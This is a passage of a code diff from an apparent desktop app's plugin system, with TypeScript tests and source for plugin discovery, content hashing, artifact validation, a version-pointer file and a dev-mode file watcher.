pluginApi: 1,
contributes: {
languagePacks: [
{ locale: 'es', path: 'locales/valid.json' },
{ locale: 'pt-BR', path: 'locales/invalid.json' }
]
},
capabilities: []
})
const plugin: ValidDiscoveredPlugin = {
pluginKey: 'orca-samples.mixed-content',
rootDir,
manifest,
consentFingerprint: fingerprintPluginConsent(manifest),
contentHash: null,
isDev: true
}
const registry = new PluginContentPackRegistry(new PluginContentVerifier())
await registry.reconcile([plugin], () => true)
expect(registry.error(plugin.pluginKey)).toContain('string or object')
expect(registry.languagePacks.list()).toEqual([])
})
it('rolls back valid packs when a VM recipe from the same plugin is invalid', async () => {
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-vm-'))
roots.push(rootDir)
await Promise.all([mkdir(join(rootDir, 'locales')), mkdir(join(rootDir, 'recipes'))])
await Promise.all([
writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' })),
writeFile(
join(rootDir, 'recipes', 'invalid.json'),
JSON.stringify({ schemaVersion: 1, id: 'bad', name: 'Bad', create: 'create', resume: 'up' })
)
])
const manifest = pluginManifestSchema.parse({
manifestVersion: 1,
id: 'mixed-recipes',
publisher: 'orca-samples',
name: 'Mixed Recipes',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
contributes: {
languagePacks: [{ locale: 'es', path: 'locales/valid.json' }],
vmRecipes: [{ path: 'recipes/invalid.json' }]
},
capabilities: []
})
const content = await hashPluginTree(rootDir)
if (!content.ok) {
throw new Error(content.error)
}
const plugin: ValidDiscoveredPlugin = {
pluginKey: 'orca-samples.mixed-recipes',
rootDir,
manifest,
consentFingerprint: fingerprintPluginConsent(manifest, content.hash),
consentContentHash: content.hash,
contentHash: null,
isDev: true
}
const registry = new PluginContentPackRegistry(new PluginContentVerifier())
await registry.reconcile([plugin], () => true)
expect(registry.error(plugin.pluginKey)).toContain('suspend and resume')
expect(registry.languagePacks.list()).toEqual([])
expect(registry.vmRecipes.list()).toEqual([])
})
})

View File

@ -0,0 +1,95 @@
import type { PluginContentVerifier } from './plugin-content-integrity'
import {
isInvalidDiscoveredPlugin,
type DiscoveredPlugin,
type ValidDiscoveredPlugin
} from './plugin-discovery'
import { PluginLanguagePackRegistry } from './plugin-language-pack-registry'
import { PluginVmRecipeRegistry } from './plugin-vm-recipe-registry'
import { PluginCommandRegistry } from './plugin-command-registry'
import { verifyInstructionalPluginContent } from './plugin-instructional-content-integrity'
import type { KeybindingOverrides } from '../../shared/keybindings'
export class PluginContentPackRegistry {
readonly languagePacks: PluginLanguagePackRegistry
readonly vmRecipes: PluginVmRecipeRegistry
readonly commands: PluginCommandRegistry
private readonly activationErrors = new Map<string, string>()
constructor(contentVerifier: PluginContentVerifier) {
this.languagePacks = new PluginLanguagePackRegistry(contentVerifier)
this.vmRecipes = new PluginVmRecipeRegistry()
this.commands = new PluginCommandRegistry()
}
async reconcile(
discovered: readonly DiscoveredPlugin[],
isApproved: (plugin: ValidDiscoveredPlugin) => boolean,
keybindings: KeybindingOverrides = {}
): Promise<void> {
const approvedKeys = new Set(
discovered
.filter((plugin): plugin is ValidDiscoveredPlugin => !isInvalidDiscoveredPlugin(plugin))
.filter(isApproved)
.map((plugin) => plugin.pluginKey)
)
const excluded = new Set<string>()
this.activationErrors.clear()
await Promise.all(
discovered.map(async (plugin) => {
if (
isInvalidDiscoveredPlugin(plugin) ||
!approvedKeys.has(plugin.pluginKey) ||
plugin.manifest.contributes.vmRecipes.length > 0
) {
return
}
try {
await verifyInstructionalPluginContent(plugin)
} catch (error) {
excluded.add(plugin.pluginKey)
this.activationErrors.set(
plugin.pluginKey,
error instanceof Error ? error.message : String(error)
)
}
})
)
while (true) {
const approveAtomically = (plugin: ValidDiscoveredPlugin): boolean =>
approvedKeys.has(plugin.pluginKey) && !excluded.has(plugin.pluginKey)
await Promise.all([
this.languagePacks.reconcile(discovered, approveAtomically),
this.vmRecipes.reconcile(discovered, approveAtomically),
this.commands.reconcile(discovered, approveAtomically, keybindings)
])
let foundNewError = false
for (const pluginKey of approvedKeys) {
const error = this.registryError(pluginKey)
if (error && !excluded.has(pluginKey)) {
excluded.add(pluginKey)
this.activationErrors.set(pluginKey, error)
foundNewError = true
}
}
if (!foundNewError) {
break
}
}
}
error(pluginKey: string): string | null {
return this.activationErrors.get(pluginKey) ?? this.registryError(pluginKey)
}
private registryError(pluginKey: string): string | null {
return (
this.languagePacks.error(pluginKey) ??
this.vmRecipes.error(pluginKey) ??
this.commands.error(pluginKey)
)
}
}

View File

@ -0,0 +1,305 @@
import { mkdtemp, mkdir, rm, symlink, truncate, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it, vi } from 'vitest'
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest'
import {
PLUGIN_PANEL_ENTRY_MAX_BYTES,
validateDeclaredPluginArtifacts,
validatePluginInstallContent
} from './plugin-artifact-validation'
import { hashPluginTree } from './plugin-content-hash'
import { verifyHashAddressedPluginContent } from './plugin-content-integrity'
import { PluginService } from './plugin-service'
const roots: string[] = []
async function tempRoot(): Promise<string> {
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-content-test-'))
roots.push(root)
return root
}
type ManifestOverrides = Omit<Partial<PluginManifest>, 'contributes'> & {
contributes?: Partial<PluginManifest['contributes']>
}
function manifest(overrides: ManifestOverrides = {}): PluginManifest {
const { contributes, ...manifestOverrides } = overrides
return pluginManifestSchema.parse({
manifestVersion: 1,
id: 'demo',
publisher: 'orca-samples',
name: 'Demo',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
capabilities: [],
...manifestOverrides,
contributes
})
}
afterEach(async () => {
vi.restoreAllMocks()
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('declared plugin artifacts', () => {
it('validates every content-pack file and directory before enablement', async () => {
const root = await tempRoot()
await Promise.all([
mkdir(join(root, 'locales')),
mkdir(join(root, 'recipes')),
writeFile(join(root, 'agent.json'), '{}')
])
await Promise.all([
writeFile(join(root, 'locales', 'pt-BR.json'), '{}'),
writeFile(join(root, 'recipes', 'vm.json'), '{}')
])
const pluginManifest = manifest({
contributes: {
languagePacks: [{ locale: 'pt-BR', path: 'locales/pt-BR.json' }],
vmRecipes: [{ path: 'recipes/vm.json' }],
agents: [{ path: 'agent.json' }]
}
})
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toEqual({
ok: true
})
})
it('requires declared files to exist and be regular files', async () => {
const root = await tempRoot()
await mkdir(join(root, 'panel.html'))
const result = await validateDeclaredPluginArtifacts(
root,
manifest({
main: 'missing-worker.js',
contributes: {
panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
commands: [],
events: []
}
})
)
expect(result).toMatchObject({ ok: false })
})
it('refuses a panel reached through an escaping directory link or junction', async () => {
const root = await tempRoot()
const outsideDir = await tempRoot()
const userDataPath = await tempRoot()
await writeFile(join(outsideDir, 'panel.html'), '<h1>outside</h1>')
await symlink(
outsideDir,
join(root, 'escape'),
process.platform === 'win32' ? 'junction' : 'dir'
)
const pluginManifest = manifest({
contributes: {
panels: [{ id: 'panel', title: 'Panel', entry: 'escape/panel.html' }],
commands: [],
events: []
}
})
await writeFile(join(root, 'orca-plugin.json'), JSON.stringify(pluginManifest))
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toMatchObject({
ok: false
})
const pluginKey = `${pluginManifest.publisher}.${pluginManifest.id}`
const service = new PluginService({
userDataPath,
hostVersion: '1.4.0',
isPluginSystemEnabled: () => true,
getDisabledPlugins: () => [],
getPluginConsents: () => ({
[pluginKey]: fingerprintPluginConsent(pluginManifest)
}),
getDevPluginPaths: () => [root]
})
try {
await service.initialize()
await expect(service.panels.readEntry(pluginKey, 'panel')).resolves.toBeNull()
} finally {
await service.dispose()
}
})
it('rejects a panel artifact too large to mount safely in a renderer', async () => {
const root = await tempRoot()
const panelPath = join(root, 'panel.html')
await writeFile(panelPath, '')
await truncate(panelPath, PLUGIN_PANEL_ENTRY_MAX_BYTES + 1)
const pluginManifest = manifest({
contributes: {
panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
commands: [],
events: []
}
})
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toMatchObject({
ok: false,
error: expect.stringContaining('artifact limit')
})
})
it('parses VM recipes at the immutable install boundary', async () => {
const root = await tempRoot()
await mkdir(join(root, 'recipes'))
await writeFile(
join(root, 'recipes', 'invalid.json'),
JSON.stringify({
schemaVersion: 1,
id: 'cloud',
name: 'Cloud',
create: 'create',
suspend: 'suspend'
})
)
const pluginManifest = manifest({
contributes: { vmRecipes: [{ path: 'recipes/invalid.json' }] }
})
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toEqual({
ok: true
})
await expect(validatePluginInstallContent(root, pluginManifest)).resolves.toMatchObject({
ok: false,
error: expect.stringContaining('suspend and resume')
})
})
it('rejects duplicate VM recipe ids at the immutable install boundary', async () => {
const root = await tempRoot()
await mkdir(join(root, 'recipes'))
const recipe = JSON.stringify({
schemaVersion: 1,
id: 'cloud',
name: 'Cloud',
create: 'create'
})
await Promise.all([
writeFile(join(root, 'recipes', 'one.json'), recipe),
writeFile(join(root, 'recipes', 'two.json'), recipe)
])
const pluginManifest = manifest({
contributes: {
vmRecipes: [{ path: 'recipes/one.json' }, { path: 'recipes/two.json' }]
}
})
await expect(validatePluginInstallContent(root, pluginManifest)).resolves.toMatchObject({
ok: false,
error: expect.stringContaining('duplicate VM recipe id "cloud"')
})
})
})
describe('hash-addressed plugin content', () => {
it('uses unambiguous framing for paths and file contents', async () => {
const first = await tempRoot()
const second = await tempRoot()
await writeFile(join(first, 'a'), Buffer.from('x\0b\0y'))
await Promise.all([writeFile(join(second, 'a'), 'x'), writeFile(join(second, 'b'), 'y')])
const [firstHash, secondHash] = await Promise.all([
hashPluginTree(first),
hashPluginTree(second)
])
expect(firstHash).toMatchObject({ ok: true })
expect(secondHash).toMatchObject({ ok: true })
if (firstHash.ok && secondHash.ok) {
expect(firstHash.hash).not.toBe(secondHash.hash)
}
})
it('hashes and bounds nested .git directories as plugin content', async () => {
const root = await tempRoot()
const nestedGit = join(root, 'vendor', '.git')
await mkdir(nestedGit, { recursive: true })
const entry = join(nestedGit, 'main.mjs')
await writeFile(entry, 'export default function activate() {}')
const initial = await hashPluginTree(root)
await writeFile(entry, 'export default function activate() { throw new Error("changed") }')
const changed = await hashPluginTree(root)
expect(initial).toMatchObject({ ok: true })
expect(changed).toMatchObject({ ok: true })
if (initial.ok && changed.ok) {
expect(changed.hash).not.toBe(initial.hash)
}
await truncate(entry, 50 * 1024 * 1024 + 1)
await expect(hashPluginTree(root)).resolves.toMatchObject({
ok: false,
error: expect.stringContaining('byte limit')
})
})
it('does not let host locale collation change a content address', async () => {
const root = await tempRoot()
await writeFile(join(root, 'alpha.txt'), 'a')
await writeFile(join(root, 'zulu.txt'), 'z')
const expected = await hashPluginTree(root)
vi.spyOn(String.prototype, 'localeCompare').mockImplementation(() => -1)
const withDifferentCollation = await hashPluginTree(root)
expect(withDifferentCollation).toEqual(expected)
})
it.skipIf(process.platform === 'win32')(
'rejects Windows-reserved tree entries cross-platform',
async () => {
const root = await tempRoot()
await writeFile(join(root, 'CON.txt'), 'reserved')
await expect(hashPluginTree(root)).resolves.toMatchObject({ ok: false })
}
)
it('detects content changed after its address was computed', async () => {
const root = await tempRoot()
const entry = join(root, 'panel.html')
await writeFile(entry, '<h1>original</h1>')
const initial = await hashPluginTree(root)
expect(initial.ok).toBe(true)
if (!initial.ok) {
return
}
expect(initial.hash).toMatch(/^[0-9a-f]{64}$/)
await expect(
verifyHashAddressedPluginContent({
rootDir: root,
contentHash: initial.hash.slice(0, 32)
})
).resolves.toEqual({ ok: true })
await writeFile(entry, '<h1>tampered</h1>')
await expect(
verifyHashAddressedPluginContent({ rootDir: root, contentHash: initial.hash })
).resolves.toMatchObject({ ok: false })
})
it('rejects an oversized sparse file before reading it into memory', async () => {
const root = await tempRoot()
const oversized = join(root, 'oversized.bin')
await writeFile(oversized, '')
await truncate(oversized, 50 * 1024 * 1024 + 1)
await expect(hashPluginTree(root)).resolves.toMatchObject({
ok: false,
error: expect.stringContaining('byte limit')
})
})
})

View File

@ -0,0 +1,49 @@
import { createReadStream } from 'node:fs'
import { rm } from 'node:fs/promises'
import { join } from 'node:path'
import { writePluginFileAtomically } from './plugin-atomic-file-write'
export const PLUGIN_CURRENT_POINTER_FILENAME = 'current'
export const PLUGIN_CURRENT_POINTER_MAX_BYTES = 128
/** Reads the tiny hash pointer through a cap so discovery cannot allocate a
* corrupt sparse file during startup. Missing pointers resolve to null. */
export async function readPluginCurrentPointer(pluginDir: string): Promise<string | null> {
const target = join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME)
const chunks: Buffer[] = []
let totalBytes = 0
try {
for await (const chunk of createReadStream(target)) {
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
totalBytes += bytes.byteLength
if (totalBytes > PLUGIN_CURRENT_POINTER_MAX_BYTES) {
throw new Error('current-version pointer exceeds its size limit')
}
chunks.push(bytes)
}
} catch (error) {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
return null
}
throw error
}
return Buffer.concat(chunks, totalBytes).toString('utf8').trim()
}
export async function writePluginCurrentPointer(
pluginDir: string,
contentHash: string
): Promise<void> {
await writePluginFileAtomically(join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME), contentHash)
}
export async function restorePluginCurrentPointer(
pluginDir: string,
previousContentHash: string | null
): Promise<void> {
if (previousContentHash === null) {
await rm(join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME), { force: true })
return
}
await writePluginCurrentPointer(pluginDir, previousContentHash)
}

View File

@ -0,0 +1,64 @@
import { afterEach, describe, expect, it, vi } from 'vitest'
import { PluginDevWatcher } from './plugin-dev-watcher'
afterEach(() => {
vi.useRealTimers()
})
describe('PluginDevWatcher', () => {
it('contains asynchronous watcher errors and requests a retrying refresh', async () => {
vi.useFakeTimers()
let onEvent!: (error: Error | null) => void
const unsubscribe = vi.fn().mockResolvedValue(undefined)
const subscribePath = vi.fn(async (_path, callback: typeof onEvent) => {
onEvent = callback
return { unsubscribe }
})
const devWatcher = new PluginDevWatcher(subscribePath)
const refresh = vi.fn()
const onWatcherError = vi.fn()
devWatcher.start(['/plugins/demo'], refresh, onWatcherError)
await vi.waitFor(() => expect(subscribePath).toHaveBeenCalledOnce())
expect(() => onEvent(new Error('watch failed'))).not.toThrow()
await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledOnce())
expect(onWatcherError).toHaveBeenCalledOnce()
vi.advanceTimersByTime(300)
expect(refresh).toHaveBeenCalledOnce()
devWatcher.dispose()
})
it('unsubscribes a subscription that resolves after disposal', async () => {
let resolveSubscription!: (value: { unsubscribe: () => Promise<void> }) => void
const unsubscribe = vi.fn().mockResolvedValue(undefined)
const subscribePath = vi.fn(
() =>
new Promise<{ unsubscribe: () => Promise<void> }>((resolve) => {
resolveSubscription = resolve
})
)
const devWatcher = new PluginDevWatcher(subscribePath)
devWatcher.start(['/plugins/demo'], vi.fn())
devWatcher.dispose()
resolveSubscription({ unsubscribe })
await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledOnce())
})
it('does not spin refreshes when a missing path cannot be subscribed', async () => {
vi.useFakeTimers()
const subscribePath = vi.fn().mockRejectedValue(new Error('missing path'))
const refresh = vi.fn()
const onWatcherError = vi.fn()
const devWatcher = new PluginDevWatcher(subscribePath)
devWatcher.start(['/plugins/missing'], refresh, onWatcherError)
await vi.waitFor(() => expect(onWatcherError).toHaveBeenCalledOnce())
vi.advanceTimersByTime(10_000)
expect(refresh).not.toHaveBeenCalled()
devWatcher.dispose()
})
})

View File

@ -0,0 +1,108 @@
import {
subscribeViaWatcherProcess,
type WatcherProcessSubscription
} from '../ipc/parcel-watcher-process'
type SubscribePluginPath = (
path: string,
onEvent: (error: Error | null) => void,
onInterruption: () => void
) => Promise<WatcherProcessSubscription>
const subscribePluginPath: SubscribePluginPath = (path, onEvent, onInterruption) =>
subscribeViaWatcherProcess(
path,
(error) => onEvent(error),
{},
{
onInterruption,
onTerminalError: onEvent
}
)
/** Owns debounced manifest/panel refresh watchers for mutable dev plugins. */
export class PluginDevWatcher {
private readonly subscriptions: WatcherProcessSubscription[] = []
private refreshTimer: ReturnType<typeof setTimeout> | null = null
private generation = 0
constructor(private readonly subscribePath: SubscribePluginPath = subscribePluginPath) {}
start(devPaths: readonly string[], refresh: () => void, onWatcherError?: () => void): void {
const generation = ++this.generation
for (const devPath of devPaths) {
let subscription: WatcherProcessSubscription | null = null
let failedBeforeReady = false
const fail = (): void => {
if (generation !== this.generation) {
return
}
failedBeforeReady = true
if (subscription) {
this.removeSubscription(subscription)
void subscription.unsubscribe()
}
onWatcherError?.()
this.scheduleRefresh(refresh)
}
void this.subscribePath(
devPath,
(error) => {
if (error) {
fail()
} else if (generation === this.generation) {
this.scheduleRefresh(refresh)
}
},
() => {
if (generation === this.generation) {
// The watcher process recovered, but changes during the gap were
// lost, so refresh the complete plugin projection once.
this.scheduleRefresh(refresh)
}
}
)
.then((created) => {
subscription = created
if (generation !== this.generation || failedBeforeReady) {
void created.unsubscribe()
return
}
this.subscriptions.push(created)
})
.catch(() => {
if (generation === this.generation) {
onWatcherError?.()
}
})
}
}
dispose(): void {
this.generation += 1
if (this.refreshTimer) {
clearTimeout(this.refreshTimer)
this.refreshTimer = null
}
for (const subscription of this.subscriptions.splice(0)) {
void subscription.unsubscribe()
}
}
private removeSubscription(subscription: WatcherProcessSubscription): void {
const index = this.subscriptions.indexOf(subscription)
if (index >= 0) {
this.subscriptions.splice(index, 1)
}
}
private scheduleRefresh(refresh: () => void): void {
if (this.refreshTimer) {
clearTimeout(this.refreshTimer)
}
this.refreshTimer = setTimeout(() => {
this.refreshTimer = null
refresh()
}, 300)
}
}

View File

@ -0,0 +1,129 @@
import { mkdir, mkdtemp, rm, truncate, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import { discoverPlugins, isInvalidDiscoveredPlugin } from './plugin-discovery'
import { PLUGIN_CURRENT_POINTER_MAX_BYTES } from './plugin-current-pointer'
const roots: string[] = []
afterEach(async () => {
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
async function tempPluginsDir(): Promise<string> {
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-discovery-'))
roots.push(root)
return root
}
describe('installed plugin discovery identity', () => {
it('keeps the install directory identity when a manifest is invalid or mismatched', async () => {
const pluginsDir = await tempPluginsDir()
const installedKey = 'orca-samples.expected'
const hash = 'a'.repeat(64)
const versionDir = join(pluginsDir, installedKey, hash)
await mkdir(versionDir, { recursive: true })
await writeFile(join(pluginsDir, installedKey, 'current'), hash)
await writeFile(
join(versionDir, 'orca-plugin.json'),
JSON.stringify({
manifestVersion: 1,
id: 'different',
publisher: 'orca-samples',
name: 'Different',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
contributes: { panels: [], commands: [], events: [] },
capabilities: []
})
)
const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
expect(plugin?.pluginKey).toBe(installedKey)
expect(plugin && 'error' in plugin ? plugin.error : '').toContain('does not match')
})
it('keeps a removable qualified identity when the current pointer is missing', async () => {
const pluginsDir = await tempPluginsDir()
const installedKey = 'orca-samples.broken'
await mkdir(join(pluginsDir, installedKey), { recursive: true })
const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
expect(plugin?.pluginKey).toBe(installedKey)
})
it('rejects an oversized current pointer without an unbounded startup read', async () => {
const pluginsDir = await tempPluginsDir()
const installedKey = 'orca-samples.broken'
const pluginDir = join(pluginsDir, installedKey)
await mkdir(pluginDir, { recursive: true })
const pointer = join(pluginDir, 'current')
await writeFile(pointer, '')
await truncate(pointer, PLUGIN_CURRENT_POINTER_MAX_BYTES + 1)
const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
expect(plugin?.pluginKey).toBe(installedKey)
})
})
describe('instructional plugin discovery identity', () => {
it('changes dev consent when a VM recipe command changes', async () => {
const pluginsDir = await tempPluginsDir()
const devRoot = await tempPluginsDir()
await mkdir(join(devRoot, 'recipes'))
await writeFile(
join(devRoot, 'orca-plugin.json'),
JSON.stringify({
manifestVersion: 1,
id: 'recipes',
publisher: 'orca-samples',
name: 'Recipes',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
contributes: { vmRecipes: [{ path: 'recipes/cloud.json' }] },
capabilities: []
})
)
const recipePath = join(devRoot, 'recipes', 'cloud.json')
await writeFile(
recipePath,
JSON.stringify({ schemaVersion: 1, id: 'cloud', name: 'Cloud', create: 'create-v1' })
)
const [first] = await discoverPlugins({
pluginsDir,
devPluginPaths: [devRoot],
hostVersion: '1.4.0'
})
await writeFile(
recipePath,
JSON.stringify({ schemaVersion: 1, id: 'cloud', name: 'Cloud', create: 'create-v2' })
)
const [second] = await discoverPlugins({
pluginsDir,
devPluginPaths: [devRoot],
hostVersion: '1.4.0'
})
expect(first && !isInvalidDiscoveredPlugin(first)).toBe(true)
expect(second && !isInvalidDiscoveredPlugin(second)).toBe(true)
if (
!first ||
!second ||
isInvalidDiscoveredPlugin(first) ||
isInvalidDiscoveredPlugin(second)
) {
return
}
expect(second.consentContentHash).not.toBe(first.consentContentHash)
expect(second.consentFingerprint).not.toBe(first.consentFingerprint)
})
})

View File

@ -0,0 +1,254 @@
import { readdir } from 'node:fs/promises'
import type { Dirent } from 'node:fs'
import { join } from 'node:path'
import { PLUGIN_CONTENT_HASH_PATTERN } from '../../shared/plugins/plugin-install-lockfile'
import {
PLUGIN_MANIFEST_FILENAME,
isQualifiedPluginKey,
parsePluginManifest,
qualifiedPluginKey,
satisfiesOrcaEngineRange,
type PluginManifest
} from '../../shared/plugins/plugin-manifest'
import {
fingerprintPluginConsent,
hasInstructionalPluginContributions
} from '../../shared/plugins/plugin-consent-fingerprint'
import { validateDeclaredPluginArtifacts } from './plugin-artifact-validation'
import { readPluginManifestText } from './plugin-manifest-file'
import { readPluginCurrentPointer } from './plugin-current-pointer'
import { hashPluginTree } from './plugin-content-hash'
export { PLUGIN_CURRENT_POINTER_FILENAME } from './plugin-current-pointer'
const INSTALLED_PLUGIN_DISCOVERY_CONCURRENCY = 8
/**
* Discovery over the hash-addressed install layout:
*
* <userData>/plugins/<publisher>.<id>/current text file naming the hash
* <userData>/plugins/<publisher>.<id>/<hash>/ immutable install tree
*
* plus dev-mode plugins loaded straight from arbitrary local directories.
* Discovery reads manifests and checks only their declared artifact paths
* never plugin bytes or whole trees. Full content hashing stays lazy so
* startup cost is bounded by installed plugins plus declared entries.
*/
export type ValidDiscoveredPlugin = {
/** Qualified `<publisher>.<id>` key. */
pluginKey: string
rootDir: string
manifest: PluginManifest
/** Fingerprint of the capabilities and trusted-worker execution tier. */
consentFingerprint: string
/** Immutable tree identity included in consent for instructional packs. */
consentContentHash?: string | null
/** Content hash the install dir is named by; null for dev plugins. */
contentHash: string | null
isDev: boolean
}
export type InvalidDiscoveredPlugin = {
pluginKey?: string
rootDir: string
error: string
isDev: boolean
}
export type DiscoveredPlugin = ValidDiscoveredPlugin | InvalidDiscoveredPlugin
export function isInvalidDiscoveredPlugin(
plugin: DiscoveredPlugin
): plugin is InvalidDiscoveredPlugin {
return 'error' in plugin
}
export function getUserPluginsDir(userDataPath: string): string {
return join(userDataPath, 'plugins')
}
export function getPluginsDataDir(userDataPath: string): string {
return join(userDataPath, 'plugins-data')
}
async function readManifestDir(
rootDir: string,
hostVersion: string,
isDev: boolean,
installedContentHash?: string
): Promise<DiscoveredPlugin> {
let rawText: string
try {
rawText = await readPluginManifestText(rootDir)
} catch (error) {
return {
rootDir,
error:
error instanceof Error && error.message.includes('exceeds')
? error.message
: `missing ${PLUGIN_MANIFEST_FILENAME}`,
isDev
}
}
let raw: unknown
try {
raw = JSON.parse(rawText)
} catch (error) {
return {
rootDir,
error: `invalid JSON in ${PLUGIN_MANIFEST_FILENAME}: ${error instanceof Error ? error.message : String(error)}`,
isDev
}
}
const parsed = parsePluginManifest(raw)
if (!parsed.ok) {
return { rootDir, error: `invalid manifest: ${parsed.error}`, isDev }
}
const manifest = parsed.manifest
const pluginKey = qualifiedPluginKey(manifest)
if (!satisfiesOrcaEngineRange(hostVersion, manifest.engines.orca)) {
return {
pluginKey,
rootDir,
error: `requires Orca ${manifest.engines.orca} (this is ${hostVersion})`,
isDev
}
}
const artifacts = await validateDeclaredPluginArtifacts(rootDir, manifest)
if (!artifacts.ok) {
return {
pluginKey,
rootDir,
error: `invalid declared artifact: ${artifacts.error}`,
isDev
}
}
let consentContentIdentity: string | undefined
if (installedContentHash && hasInstructionalPluginContributions(manifest)) {
consentContentIdentity = installedContentHash
}
if (isDev && hasInstructionalPluginContributions(manifest)) {
const treeHash = await hashPluginTree(rootDir)
if (!treeHash.ok) {
return { pluginKey, rootDir, error: treeHash.error, isDev }
}
consentContentIdentity = treeHash.hash
}
return {
pluginKey,
rootDir,
manifest,
consentFingerprint: fingerprintPluginConsent(manifest, consentContentIdentity),
consentContentHash: consentContentIdentity ?? null,
contentHash: null,
isDev
}
}
async function readInstalledPlugin(
pluginDir: string,
dirName: string,
hostVersion: string
): Promise<DiscoveredPlugin> {
let contentHash: string
try {
contentHash = (await readPluginCurrentPointer(pluginDir)) ?? ''
} catch {
return {
pluginKey: dirName,
rootDir: pluginDir,
error: 'missing current-version pointer',
isDev: false
}
}
// The pointer names a sibling directory; refuse anything path-like so a
// corrupted pointer cannot address content outside the plugin dir.
if (!PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
return {
pluginKey: dirName,
rootDir: pluginDir,
error: 'corrupt current-version pointer',
isDev: false
}
}
const versionDir = join(pluginDir, contentHash)
const discovered = await readManifestDir(versionDir, hostVersion, false, contentHash)
if (isInvalidDiscoveredPlugin(discovered)) {
return { ...discovered, pluginKey: dirName }
}
// Why: the directory name is the install key (and the uninstall target); a
// mismatched manifest identity would let two dirs claim the same plugin.
if (discovered.pluginKey !== dirName) {
return {
pluginKey: dirName,
rootDir: versionDir,
error: `manifest identity "${discovered.pluginKey}" does not match install directory "${dirName}"`,
isDev: false
}
}
return { ...discovered, contentHash }
}
async function readInstalledPlugins(
pluginsDir: string,
entries: readonly Dirent[],
hostVersion: string
): Promise<DiscoveredPlugin[]> {
const results = Array.from({ length: entries.length }) as DiscoveredPlugin[]
let nextIndex = 0
const readers = Array.from(
{ length: Math.min(INSTALLED_PLUGIN_DISCOVERY_CONCURRENCY, entries.length) },
async () => {
while (nextIndex < entries.length) {
const index = nextIndex++
const entry = entries[index]!
results[index] = await readInstalledPlugin(
join(pluginsDir, entry.name),
entry.name,
hostVersion
)
}
}
)
await Promise.all(readers)
return results
}
export async function discoverPlugins(options: {
pluginsDir: string
devPluginPaths: readonly string[]
hostVersion: string
}): Promise<DiscoveredPlugin[]> {
const discovered: DiscoveredPlugin[] = []
let entries: Dirent[] = []
try {
entries = await readdir(options.pluginsDir, { withFileTypes: true })
} catch {
// A missing plugins dir just means no plugins are installed yet.
}
const installedEntries = entries.filter(
(entry) => entry.isDirectory() && isQualifiedPluginKey(entry.name)
)
// Installed manifests are independent immutable trees. Read them in
// a bounded pool so startup latency stays low without exhausting handles.
discovered.push(
...(await readInstalledPlugins(options.pluginsDir, installedEntries, options.hostVersion))
)
for (const devPath of options.devPluginPaths) {
const plugin = await readManifestDir(devPath, options.hostVersion, true)
// A dev path that duplicates an installed plugin's identity wins — that
// is the point of dev mode — but two dev paths must not collide.
if (!isInvalidDiscoveredPlugin(plugin)) {
const collision = discovered.find(
(existing) =>
!isInvalidDiscoveredPlugin(existing) && existing.pluginKey === plugin.pluginKey
)
if (collision) {
discovered.splice(discovered.indexOf(collision), 1)
}
}
discovered.push(plugin)
}
return discovered
}

View File

@ -0,0 +1,132 @@
import { tmpdir } from 'node:os'
import { describe, expect, it, vi } from 'vitest'
import { getDefaultSettings } from '../../shared/constants'
import type { GlobalSettings } from '../../shared/types'
import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
import type { Store } from '../persistence'
import { applyPluginConsent, applyPluginEnablement } from './plugin-enablement'
import type { ValidDiscoveredPlugin } from './plugin-discovery'
import type { PluginService } from './plugin-service'
const pluginKey = 'orca-samples.demo'
const manifest = pluginManifestSchema.parse({
manifestVersion: 1,
id: 'demo',
publisher: 'orca-samples',
name: 'Demo',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
contributes: {},
capabilities: []
})
function createStore(): {
store: Store
getSettings: () => GlobalSettings
updateSettings: ReturnType<typeof vi.fn>
} {
let settings = getDefaultSettings(tmpdir())
const updateSettings = vi.fn((updates: Partial<GlobalSettings>) => {
settings = { ...settings, ...updates }
})
return {
store: { getSettings: () => settings, updateSettings } as unknown as Store,
getSettings: () => settings,
updateSettings
}
}
function createPluginService(
getFingerprint: () => string,
overrides: Partial<ValidDiscoveredPlugin> = {}
): PluginService {
return {
findValidPlugin: (requestedKey: string) =>
requestedKey === pluginKey
? {
